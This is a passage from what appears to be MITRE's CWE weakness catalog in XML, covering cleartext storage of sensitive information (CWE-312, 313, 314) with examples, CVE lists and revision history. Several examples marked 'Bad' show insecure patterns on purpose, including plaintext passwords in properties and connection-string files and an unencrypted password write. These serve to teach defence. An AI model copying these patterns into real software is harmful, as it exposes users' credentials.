                           <xhtml:br/>write(dfd,password_buffer,n);<xhtml:br/>...<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-153">
	            <Intro_Text>In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.</Intro_Text>
	            <Body_Text>At least one OT product stored a password in plaintext.</Body_Text>
	         </Demonstrative_Example>
		 <Demonstrative_Example Demonstrative_Example_ID="DX-155">
		   <Intro_Text>In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.</Intro_Text>
		   <Example_Code Nature="Bad" Language="Other">
                     <xhtml:div>A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]</xhtml:div>
		   </Example_Code>
		   <Body_Text>While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.</Body_Text>
		   <Example_Code Nature="Good" Language="Other">
                     <xhtml:div>The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]</xhtml:div>
		   </Example_Code>
		 </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.</Intro_Text>
               <Example_Code Nature="bad" Language="Shell">
                  <xhtml:div>New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption</xhtml:div>
               </Example_Code>
	       <Body_Text>The result (edited and formatted for readability) might be:</Body_Text>
	       <Example_Code Nature="bad" Language="Other">
		 <xhtml:div>ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount</xhtml:div>
		 <xhtml:p/>
		 <xhtml:div>
                   <xhtml:table>
                     <xhtml:tr>
                       <xhtml:th>Name</xhtml:th>
                       <xhtml:th>State</xhtml:th>
                       <xhtml:th>Source</xhtml:th>
                       <xhtml:th>RequireInfrastructureEncryption</xhtml:th>
                     </xhtml:tr>
                     <xhtml:tr>
                       <xhtml:td>testscope</xhtml:td>
                       <xhtml:td>Enabled</xhtml:td>
                       <xhtml:td>Microsoft.Storage</xhtml:td>
                       <xhtml:td/>
                     </xhtml:tr>
		   </xhtml:table>
		 </xhtml:div>
	       </Example_Code>
	       <Body_Text>However, the empty string under RequireInfrastructureEncryption indicates this service was not enabled at the time of creation, because the -RequireInfrastructureEncryption argument was not specified in the command.</Body_Text>
	       <Body_Text>Including the -RequireInfrastructureEncryption argument addresses the issue:</Body_Text>
               <Example_Code Nature="good" Language="Shell">
                  <xhtml:div>New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption</xhtml:div>
               </Example_Code>
	       <Body_Text>This produces the report:</Body_Text>
	       <Example_Code Nature="result" Language="Other">
		 <xhtml:div>ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount</xhtml:div>
		 <xhtml:p/>
		 <xhtml:div>
                   <xhtml:table>
                     <xhtml:tr>
                       <xhtml:th>Name</xhtml:th>
                       <xhtml:th>State</xhtml:th>
                       <xhtml:th>Source</xhtml:th>
                       <xhtml:th>RequireInfrastructureEncryption</xhtml:th>
                     </xhtml:tr>
                     <xhtml:tr>
                       <xhtml:td>testscope</xhtml:td>
                       <xhtml:td>Enabled</xhtml:td>
                       <xhtml:td>Microsoft.Keyvault</xhtml:td>
                       <xhtml:td>True</xhtml:td>
                     </xhtml:tr>
		   </xhtml:table>
		 </xhtml:div>
	       </Example_Code>
	       <Body_Text>In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.</Body_Text>
	    </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-30275</Reference>
               <Description>Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-30275</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2272</Reference>
               <Description>password and username stored in cleartext in a cookie</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1466</Reference>
               <Description>password stored in cleartext in a file with insecure permissions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1466</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0152</Reference>
               <Description>chat program disables SSL in some circumstances even when the user says to use SSL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0152</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1603</Reference>
               <Description>Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0964</Reference>
               <Description>storage of unencrypted passwords in a database</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0964</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6157</Reference>
               <Description>storage of unencrypted passwords in a database</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6157</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6828</Reference>
               <Description>product stores a password in cleartext in memory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6828</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1567</Reference>
               <Description>storage of a secret key in cleartext in a temporary file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1567</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0174</Reference>
               <Description>SCADA product uses HTTP Basic Authentication, which is not encrypted</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5778</Reference>
               <Description>login credentials stored unencrypted in a registry key</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1481</Reference>
               <Description>Plaintext credentials in world-readable file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1481</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1828</Reference>
               <Description>Password in cleartext in config file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1828</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2209</Reference>
               <Description>Password in cleartext in config file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2209</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1696</Reference>
               <Description>Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1696</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2397</Reference>
               <Description>Plaintext storage of private key and passphrase in log file when user imports the key.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2397</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1800</Reference>
               <Description>Admin password in plaintext in a cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1800</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1537</Reference>
               <Description>Default configuration has cleartext usernames/passwords in cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1537</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1536</Reference>
               <Description>Usernames/passwords in cleartext in cookies.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1536</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2160</Reference>
               <Description>Authentication information stored in cleartext in a cookie.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2160</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage of Sensitive Information</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 4-2</Entry_ID>
	      <Entry_Name>Req CR4.1A</Entry_Name>
	    </Taxonomy_Mapping>
	    <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	      <Entry_ID>Part 3-3</Entry_ID>
	      <Entry_Name>Req SR4.1</Entry_Name>
	    </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="37"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;Protecting Secret Data&#34; Page 299"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Encryption&#34;, Page 43"/>
            <Reference External_Reference_ID="REF-172"/>
            <Reference External_Reference_ID="REF-1283"/>
            <Reference External_Reference_ID="REF-1295"/>
            <Reference External_Reference_ID="REF-1296"/>
            <Reference External_Reference_ID="REF-1297"/>
            <Reference External_Reference_ID="REF-1299"/>
            <Reference External_Reference_ID="REF-1301"/>
            <Reference External_Reference_ID="REF-1307" Section="Section 3.2"/>
            <Reference External_Reference_ID="REF-1310"/>
         </References>
         <Notes>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-01-23</Modification_Date>
               <Modification_Comment>updated Abstraction, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2009-01-12">Plaintext Storage of Sensitive Information</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="313" Name="Cleartext Storage in a File or on Disk" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext in a file, or on disk.</Description>
         <Extended_Description>The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-43">
               <Intro_Text>The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.</Intro_Text>
               <Body_Text>This Java example shows a properties file with a cleartext username / password pair.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i># Java Web App ResourceBundle properties file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>webapp.ldap.username=secretUsername<xhtml:br/>webapp.ldap.password=secretPassword<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.</Body_Text>
               <Example_Code Nature="Bad" Language="ASP.NET">
                  <xhtml:div>...<xhtml:br/>&lt;connectionStrings&gt;<xhtml:div style="margin-left:1em;">&lt;add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /&gt;</xhtml:div>&lt;/connectionStrings&gt;<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1481</Reference>
               <Description>Cleartext credentials in world-readable file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1481</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1828</Reference>
               <Description>Password in cleartext in config file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1828</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2209</Reference>
               <Description>Password in cleartext in config file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2209</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1696</Reference>
               <Description>Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1696</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2397</Reference>
               <Description>Cleartext storage of private key and passphrase in log file when user imports the key.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2397</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage in File or on Disk</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Plaintext Storage in File or on Disk</Previous_Entry_Name>
            <Previous_Entry_Name Date="2013-07-17">Plaintext Storage in a File or on Disk</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="314" Name="Cleartext Storage in the Registry" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext in the registry.</Description>
         <Extended_Description>Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="312" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-2227</Reference>
               <Description>Cleartext passwords in registry key.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2227</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Plaintext Storage in Registry</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="37"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Terminology">Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Name, Observed_Examples, Potential_Mitigations, Terminology_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
